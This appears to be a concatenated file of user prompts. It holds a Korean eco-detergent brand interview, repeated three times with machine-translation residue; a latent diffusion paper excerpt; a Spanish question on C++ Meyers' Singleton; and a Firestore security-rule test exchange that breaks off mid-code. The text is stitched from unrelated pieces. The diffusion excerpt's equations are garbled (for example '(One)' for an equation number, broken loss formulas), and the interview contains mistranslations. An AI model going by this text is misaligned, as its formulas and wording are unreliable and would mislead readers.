easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.번역결과The following is an interview with eco-friendly detergent brand \'Ioni\'. Based on the contents below, please write a YouTube script that emphasizes the values \u200b\u200bthat the brand pursues.\n\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\ntranslation result\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.' +'aha I got it right thank you. I will continue to deliver the latter part of the thesis. Read it and ask for a summary!\n\n Method\nTo lower the computational demands of training diffusion models towards high-resolution image synthesis, we\nobserve that although diffusion models allow to ignore\nperceptually irrelevant details by undersampling the corresponding loss terms [30], they still require costly function\nevaluations in pixel space, which causes huge demands in\ncomputation time and energy resources.\nWe propose to circumvent this drawback by introducing\nan explicit separation of the compressive from the generative learning phase (see Fig. 2). To achieve this, we utilize\nan autoencoding model which learns a space that is perceptually equivalent to the image space, but offers significantly\nreduced computational complexity.\nSuch an approach offers several advantages: (i) By leaving the high-dimensional image space, we obtain DMs\nwhich are computationally much more efficient because\nsampling is performed on a low-dimensional space. (ii) We\nexploit the inductive bias of DMs inherited from their UNet\narchitecture [71], which makes them particularly effective\nfor data with spatial structure and therefore alleviates the\nneed for aggressive, quality-reducing compression levels as\nrequired by previous approaches [23, 66]. (iii) Finally, we\nobtain general-purpose compression models whose latent\nspace can be used to train multiple generative models and\nwhich can also be utilized for other downstream applications such as single-image CLIP-guided synthesis [25].\n3.1. Perceptual Image Compression\nOur perceptual compression model is based on previous\nwork [23] and consists of an autoencoder trained by combination of a perceptual loss [106] and a patch-based [33]\nadversarial objective [20, 23, 103]. This ensures that the reconstructions are confined to the image manifold by enforcing local realism and avoids bluriness introduced by relying\nsolely on pixel-space losses such as L2 or L1 objectives.\nMore precisely, given an image x ∈ R\nH×W×3\nin RGB\nspace, the encoder E encodes x into a latent representation3\ntion z = E(x), and the decoder D reconstructs the image from the latent, giving x˜ = D(z) = D(E(x)), where\nz ∈ R\nh×w×c\n. Importantly, the encoder downsamples the\nimage by a factor f = H/h = W/w, and we investigate\nDifferent downsampling factors f = 2m, with m ∈ N.\nIn order to avoid arbitrarily high-variance latent spaces,\nwe experiment with two different kinds of regularizations.\nThe first variant, KL-reg., imposes a slight KL-penalty towards a standard normal on the learned latent, similar to a\nVAE [46, 69], whereas VQ-reg. uses a vector quantization\nlayer [96] within the decoder. This model can be interpreted\nas a VQGAN [23] but with the quantization layer absorbed\nby the decoder. Because our subsequent DM is designed\nto work with the two-dimensional structure of our learned\nIn latent space z = E(x), we can use relatively mild compression rates and achieve very good reconstructions. This is\nin contrast to previous works [23, 66], which relied on an\narbitrary 1D ordering of the learned space z to model its\ndistribution autoregressively and thereby ignored much of\nthe inherent structure of z. Hence, our compression model\npreserves details of x better (see Tab. 8). The full objective\nand training details can be found in the supplement.\n3.2. Latent Diffusion Models\nDiffusion Models [82] are probabilistic models designed to\nlearn a data distribution p(x) by gradually denoising a normally distributed variable, which corresponds to learning\nthe reverse process of a fixed Markov Chain of length T.\nFor image synthesis, the most successful models [15,30,72]\nrely on a reweighted variant of the variational lower bound\non p(x), which mirrors denoising score-matching [85].\nThese models can be interpreted as an equally weighted\nsequence of denoising autoencoders θ(xt, t); t = 1 . . . T,\nwhich are trained to predict a denoised variant of their input\nxt, where xt is a noisy version of the input x. The corresponding objective can be simplified to (Sec. B)\nLDM = Ex, ~N(0,1),th\nk − θ(xt, t)k\n2\n2\ni\n, (One)\nwith t uniformly sampled from {1, . . . , T}.\nGenerative Modeling of Latent Representations With\nour trained perceptual compression models consisting of E\nand D, we now have access to an efficient, low-dimensional\nlatent space in which high-frequency, imperceptible details\nare abstracted away. Compared to the high-dimensional\npixel space, this space is more suitable for likelihood-based\ngenerative models, as they can now (i) focus on the important, semantic bits of the data and (ii) train in a lower dimensional, computationally much more efficient space.\nUnlike previous work that believed on autoregressive,\nattention-based transformer models in a highly compressed,\nIn the discrete latent space [23,66,103], we can take advantage of\nimage-specific inductive biases that our model offers. This\nSemantic\nMap\ncrossattention\nLatent Space Conditioning\nText\nDiffusion Process\ndenoising step switch skip connection\nRepres\nentations\nPixel Space\nImages\nDenoising U-Net\nconcat\nFigure 3. We condition LDMs either via concatenation or by a\nmore general cross-attention mechanism. See Sec. 3.3\nincludes the ability to build the underlying UNet primarily from 2D convolutional layers, and further focusing the\nobjective on the perceptually most relevant bits using the\nreweighted bounds, which now reads\nLLDM := EE(x), ~N(0,1),th\nk − θ(zt, t)k\n2\n2\ni\n. (2)\nThe neural backbone θ(◦, t) of our model is realized as a\ntime-conditional UNet [71]. Since the forward process is\nfixed, zt can be efficiently obtained from E during training,\nand samples from p(z) can be decoded to image space with\na single pass through D.\n3.3. Conditioning Mechanisms\nSimilar to other types of generative models [56, 83],\nDiffusion models are in principle capable of modeling\nconditional distributions of the form p(z|y). This can\nbe implemented with a conditional denoising autoencoder\nθ(zt, t, y) and paves the way to controlling the synthesis\nprocess through inputs y such as text [68], semantic maps\n[33, 61] or other image-to-image translation tasks [34].\nIn the context of image synthesis, however, combining\nthe generative power of DMs with other types of conditionings beyond class-labels [15] or blurred variants of the input\nimage [72] is so far an under-explored area of \u200b\u200bresearch.\nWe turn DMs into more flexible conditional image generators by augmenting their underlying UNet backbone with\nthe cross-attention mechanism [97], which is effective for\nlearning attention-based models of various input modalities [35,36]. To pre-process y from various modalities (such as\nas language prompts) we introduce a domain specific encoder τθ that projects y to an intermediate representation\nτθ(y) ∈ RM×dτ\n, which is then mapped to the intermediate\nlayers of the UNet via a cross-attention layer implementing\nAttention(Q, K, V) = softmax\nQKT\n√\nd\n\x11\n· V , with\nQ = W\n(i)\nQ ϕi(zt), K = W\n(i)\nK τθ(y), V = W\n(i)\nV\n· τθ(y).\nHere, ϕi(zt) ∈ R\nN×d\ni\ndenotes a (flattened) intermediate\nrepresentation of the UNet implementing θ and W\n(i)\nV ∈\n4\nCelebAHQ FFHQ LSUN-Churches LSUN-Beds ImageNet\nFigure 4. Samples from LDMs trained on CelebAHQ [39], FFHQ [41], LSUN-Churches [102], LSUN-Bedrooms [102] and classconditional ImageNet [12], each with a resolution of 256 × 256. Best viewed when zoomed in. For more samples cf. the supplement.\nR\nd×d\ni\n, W\n(i)\nQ ∈ R\nd×dτ & W\n(i)\nK ∈ R\nd×dτ are learnable projection matrices [36, 97]. See Fig. 3 for a visual depiction.\nBased on image-conditioning pairs, we then learn the\nconditional LDM vias\nLLDM := EE(x),y, ~N(0,1),th\nk − θ(zt, t, τθ(y))k\n2\n2\ni\n, (3)\nwhere both τθ and θ are jointly optimized via Eq. 3.This\nThe conditioning mechanism is flexible as τθ can be parameterized with domain-specific experts, e.g. (unmasked) transformers [97] when y are text prompts' +'Este es un texto que explica el uso de la variante del patrón singleton conocida como Singleton de Meyer. \nMeyers\' Singleton\nThis implementation is named after its inventor, Scott Meyers. If the main problem with the static singleton is that it can be initialized later than its first use, then the solution must be to initialize the singleton when it is needed for the first time:\n\nclass Singleton {\n public:\n static Singleton& instance() {\n static Singleton inst;\n return inst;\n }\n\n int& get() { return value\\_; }\n\n private:\n Singleton() : value\\_(0) {\n std::cout << "Singleton::Singleton()" << std::endl;\n }\n Singleton(const Singleton&) = delete;\n Singleton& operator=(const Singleton&) = delete;\n ~Singleton() {\n std::cout << "Singleton::~Singleton()" << std::endl;\n }\n\n private:\n int value\\_;\n};\nThe Meyers\' Singleton has a private constructor, so it cannot be constructed by the program directly (in our example, we added a printout to the constructor, only to see when the singleton is initialized). Nor can the program make copies of the singleton object. Since the Meyers\' Singleton cannot be directly constructed by the program, it is again a zero handle objects implementation. The only way to access this singleton is through the Singleton::instance() static member function:\n\nint i = Singleton::instance().get();\n++Singleton::instance().get();\nThe Singleton::instance() function returns a reference to the singleton object, but which one, and when is it created? We can see from the preceding code that the return value is a reference to a local object defined in the body of the instance() function itself. Ordinarily, returning references to local objects is a serious programming error—these objects don\'t exist once the function completes. But the Meyers\' Singleton doesn\'t use an ordinary local object, but a local static object. Just like file-static objects, only one instance of the static object exists in the entire program. Unlike the file static objects, the function static objects are initialized the first time they are used; in our case, the first time the function is called. In pseudo-code, you can think of the function-static object like this:\n\nstatic bool initialized = false; // Hidden compiler-generated variable\n// Memory for the static object, uninitialized at first\nchar memory[sizeof(Singleton)]; \nclass Singleton {\n public:\n static Singleton& instance() {\n if (!initialized) { // Happens only once\n initialized = true;\n new (memory) Singleton; // Placement new\n // Calls Singleton constructor\n }\n // memory now contains a Singleton object\n return \\*(Singleton\\*)(memory);\n }\n ...\n};\nThis initialization of the singleton may occur after the program starts, or possibly long after, if the singleton is not used for a while. On the other hand, if another static object (not necessarily a singleton) uses our singleton object and requests a reference to it, the initialization is guaranteed to happen before the object can be used. This implementation is an example of lazy initialization—the initialization is deferred until it\'s needed (if the singleton object is not used at all in a particular run of the program, it will not be initialized at any point).\n\nOne possible concern about Meyers\' Singleton is its performance. While the initialization occurs only once, every call to Singleton::instance() must check whether the object is already initialized. We can measure the cost of this check by comparing the time it takes to access the instance for some operations, compared to the time it takes to call the same operations on an instance already stored in a reference:\n\nvoid BM\\_singleton(benchmark::State& state) {\n Singleton& S = Singleton::instance();\n for (auto \\_ : state) {\n REPEAT(benchmark::DoNotOptimize(++S.get());)\n }\n state.SetItemsProcessed(32\\*state.iterations());\n}\n\nvoid BM\\_singletons(benchmark::State& state) {\n for (auto \\_ : state) {\n REPEAT(benchmark::DoNotOptimize(++Singleton::instance().get());)\n }\n state.SetItemsProcessed(32\\*state.iterations());\n}\nHere, the first benchmark calls Singleton::instance() every time, while the second one calls the same member functions on the singleton, but accesses the instance only once. The difference between the two invocations shows us the cost of checking whether the singleton has to be initialized (the cost of the initialization itself is irrelevant, since the benchmark is executed many times, while the initialization happens only once):\nWe can see that the cost of the implementation of the function static variable is considerable, significantly greater than the cost of a simple operation on the singleton object (an integer increment, in our case). Therefore, if the singleton object is to be used extensively, it may be beneficial to store a reference to it, instead of requesting one every time. We can also see, thanks to the debug printouts we put in place earlier, that the singleton is indeed initialized the first time it is used—if the messages Running... and Run on... are printed by the program (by the main() function provided by the Google Benchmark library, to be exact), then the singleton is initialized. If the singleton used a file static object, the constructor would have been called before the program has a chance to print anything.\n\nNot to be confused with Meyers\' singleton is the following implementation:\n\nclass Singleton {\n public:\n static Singleton& instance() {\n return instance\\_;\n }\n\n int& get() { return value\\_; }\n\n private:\n Singleton() : value\\_(0) {\n std::cout << "Singleton::Singleton()" << std::endl;\n }\n ~Singleton() {\n std::cout << "Singleton::~Singleton()" << std::endl;\n }\n Singleton(const Singleton&) = delete;\n Singleton& operator=(const Singleton&) = delete;\n\n private:\n static Singleton instance\\_;\n int value\\_;\n};\nSingleton Singleton::instance\\_;\nWhile superficially similar, this implementation differs in the most important aspect—the time of initialization. The static instance is not a function static object, and is initialized with other static objects, regardless of whether it is used or not (eager initialization, as opposed to lazy initialization). The access to the singleton instance looks exactly the same as for Meyers\' Singleton, but there, the similarities end. In fact, this is just another variant of the static singleton, only instead of declaring every data member as static, we created a static instance of the object.\n\nWe can expect the performance to be similar to that of the static singleton, or that of the Meyers\' Singleton if we were to optimize the code to avoid repeated initialization checks:\nWe call the reader\'s attention to the timing of the construction again—this time, the constructor of the static singleton instance is called before the program has started to print its own messages.\n\nAn interesting variant of this implementation is a combination of the Meyers\' Singleton with the pimpl idiom, where the header file contains only the interface declarations, and the actual implementation, including the data members, is moved to a different class and hidden in the C file, with only a pointer to this implementation object declared in the header (hence the name, pointer to impl, or pimpl for short). This idiom is often used to reduce the compilation dependencies—if the implementation of the object changes, but the public API remains the same, then the header file remains unchanged and all files that depend on it do not need to be recompiled. In the case of the singleton, the combination of these two patterns looks like this:\n\n// In the header file:\nstruct SingletonImpl; // Forward declaration\nclass Singleton {\n public: // Public API\n int& get();\n private:\n static SingletonImpl& impl();\n};\n\n// In the C file:\nstruct SingletonImpl { // Client code does not care if this changes\n SingletonImpl() : value\\_(0) {}\n int value\\_; \n};\n\nint& Singleton::get() { return impl().value\\_; }\n\nSingletonImpl& Singleton::impl() {\n static SingletonImpl inst;\n return inst;\n}\nIn this implementation, the program can create any number of Singleton objects, but they all operate on the same implementation, accessed by the impl() method (in our case, this method returns a reference to the implementation, and not a pointer; nonetheless, we call it pimpl since it is fundamentally the same pattern). Note that we did not put any protection on the implementation class—since it is limited to one C file and is not used directly, only being used through the methods of the Singleton class, it is quite common to rely on the programmer\'s discipline instead.\n\nThe advantage of this implementation is a better separation between the interface and the implementation, which is the reason for any use of the pimpl idiom. The disadvantage is the extra level of indirection, and the performance overhead it adds. Also, note that it is no longer possible for the program to avoid the test for lazy initialization, since it is now hidden inside the implementation of the Singleton methods. It is possible to optimize the Singleton class to avoid the repeated initialization checks by storing a reference to the implementation in every object:\n\n// In the header file:\nstruct SingletonImpl;\nclass Singleton {\n public:\n Singleton();\n int& get();\n private:\n static SingletonImpl& impl();\n SingletonImpl& impl\\_; // Cached reference\n};\n\n// In the C file:\nstruct SingletonImpl {\n SingletonImpl() : value\\_(0) {}\n int value\\_;\n};\n\nSingleton::Singleton() : impl\\_(impl()) {}\n\nint& Singleton::get() { return impl\\_.value\\_; }\n\nSingletonImpl& Singleton::impl() { // Called once per object now\n static SingletonImpl inst;\n return inst;\n}\nThe singleton instance is now created the first time a Singleton object is constructed, instead of the first time its member function is called. Also, each Singleton object now has a reference data member, so we are using a bit more memory as a trade-off for increased performance:\nWe can see that the optimized implementation is on par with any of the lightweight implementations we considered earlier, while the straightforward pimpl implementation is significantly slower.\n\nAnother important consideration in modern programs is thread safety. In the case of the Meyers\' Singleton, the question of thread safety is non-trivial. The issue boils down to this: is the initialization of a local static variable thread-safe? The focus of our attention is this code:\n\nstatic Singleton& instance() {\n static Singleton inst;\n return inst;\n}\nThe actual code behind this C++ construct is fairly complex—there is a conditional check to see if the variable is already constructed, and a flag that is set when this code is executed for the first time. What happens if multiple threads call the instance() function at the same time? Do we have a guarantee that, for all threads, only one instance of the static object will be created? In C++11 and later standards, the answer is a definite yes. Prior to C++11, the standard did not guarantee any thread safety at all. This led to the proliferation of various alternative implementations that can still be found in examples online and in print. Such alternatives are many, and in general, they look something like this, with various combinations of locking thrown in:\n\nstatic bool initialized - false;\nstatic Singleton& instance() {\n if (!initialized) { ... initialize the instance under lock ... }\n return ... reference to the singleton instance ...\n}\nAt this point in time, such implementations are thoroughly obsolete and are, at most, of historical interest. We will not spend time explaining how they work, and whether they work correctly (many don\'t). There is no reason to do anything more than simply declare a local static variable and return a reference to it.\n\nAs we have explained before, the Meyers\' Singleton solves the problem of initialization order by initializing, on demand, the first time the object is used. Even if we have multiple singletons (of different types, of course) and they refer to one another, the objects will be initialized no later than they are needed. The problem of the initialization order is indeed solved. But that is not the only problem, as we will see next.\nQuiero que a partir de su contenido me expliques varias cosas. La primera: Esta parte de pseudocódigo, explica el modo en el que el compilador, implícitamente, crea una instancia del objeto Singleton, que no puede crearse directamente, al declararse su constructor como privado. El pseudocódigo es éste:\nstatic bool initialized = false; // Hidden compiler-generated variable\n// Memory for the static object, uninitialized at first\nchar memory[sizeof(Singleton)]; \nclass Singleton {\n public:\n static Singleton& instance() {\n if (!initialized) { // Happens only once\n initialized = true;\n new (memory) Singleton; // Placement new\n // Calls Singleton constructor\n }\n // memory now contains a Singleton object\n return \\*(Singleton\\*)(memory);\n }\n ...\n}; Puedes explicarme, para empezar lo que hace exactamente este pseudocódigo.' +'Q: Generate firestore rule test with following rule\n ```match /DirectChats/{directChatId} {\n function isAuthorizedDirectChat() {\n let ids = directChatId.split("\\_");\n\n return request.auth.uid != null && ids.size() == 2 && request.auth.uid in ids;\n }\n\n allow create, read, update: if isAuthorizedDirectChat();\n allow delete: if false;\n }```\n\nA: ```import { readFileSync } from "fs";\nimport { resolve } from "path";\nimport { deleteDoc, doc, getDoc, setDoc, updateDoc } from "firebase/firestore";\nimport {\n initializeTestEnvironment,\n RulesTestEnvironment,\n assertSucceeds,\n assertFails,\n} from "@firebase/rules-unit-testing";\n\nconst COLLECTION\\_NAME = "DirectChats";\n\nconst TEST\\_USER\\_ID = "test-user-id";\n\ndescribe("DirectChats 규칙 테스트", () => {\n let testEnv: RulesTestEnvironment;\n\n beforeAll(async () => {\n testEnv = await initializeTestEnvironment({\n projectId: "direct-chats-rule-test",\n firestore: {\n rules: readFileSync(resolve(\\_\\_dirname, "firestore.rules"), "utf-8"),\n },\n });\n });\n\n afterAll(async () => {\n await testEnv.cleanup();\n });\n\n afterEach(async () => {\n await testEnv.clearFirestore();\n });\n\n describe("인증이 없는 상태", () => {\n const DOCUMENT\\_ID = "test-direct-chat";\n\n test("Create를 할 수 없다.", async () => {\n const noAuth = testEnv.unauthenticatedContext();\n\n const docRef = doc(noAuth.firestore(), COLLECTION\\_NAME, DOCUMENT\\_ID);\n\n await assertFails(\n setDoc(docRef, {\n foo: "baz",\n })\n );\n });\n\n test("Read를 할 수 없다.", async () => {\n const noAuth = testEnv.unauthenticatedContext();\n\n const docRef = doc(noAuth.firestore(), COLLECTION\\_NAME, DOCUMENT\\_ID);\n\n await assertFails(getDoc(docRef));\n });\n\n test("Update를 할 수 없다.", async () => {\n const noAuth = testEnv.unauthenticatedContext();\n\n const docRef = doc(noAuth.firestore(), COLLECTION\\_NAME, DOCUMENT\\_ID);\n\n await assertFails(\n updateDoc(docRef, {\n foo: "baz",\n })\n );\n });\n\n test("Delete를 할 수 없다.", async () => {\n const noAuth = testEnv.unauthenticatedContext();\n\n const docRef = doc(noAuth.firestore(), COLLECTION\\_NAME, DOCUMENT\\_ID);\n\n await assertFails(deleteDoc(docRef));\n });\n });\n\n describe("인증이 있는 상태", () => {\n const AUTHORIZED\\_DOCUMENT\\_ID\\_1 = `${TEST\\_USER\\_ID}\\_abcdefg`;\n\n const AUTHORIZED\\_DOCUMENT\\_ID\\_2 = `abcdefg\\_${TEST\\_USER\\_ID}`;\n\n const UNAUTHORIZED\\_DOCUMENT\\_ID\\_1 = `${TEST\\_USER\\_ID}`;\n\n const UNAUTHORIZED\\_DOCUMENT\\_ID\\_2 = `${TEST\\_USER\\_ID}hello\\_abasdf`;\n\n describe("Create 테스트", () => {\n test("Document id에 auth user id가 \'\\_\' 로 나눠서 들어가면 Create에 성공한다.", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertSucceeds(\n setDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_1), {\n foo: "bar",\n })\n );\n\n await assertSucceeds(\n setDoc(doc(firestore, COLLECTION\\_NAME, AUTHORIZED\\_DOCUMENT\\_ID\\_2), {\n foo: "bar",\n })\n );\n });\n\n test("Document id에 auth user id가 없다면 Create에 실패한다.", async () => {\n const auth = testEnv.authenticatedContext(TEST\\_USER\\_ID);\n\n const firestore = auth.firestore();\n\n await assertFails(\n setDoc(doc(firestore, COLLECTION\\_NAME, UNAUTHORIZED\\_DOCUMENT\\_ID\\_1), {\n foo: "bar",\n })\n );\n\n await assertFails(\n 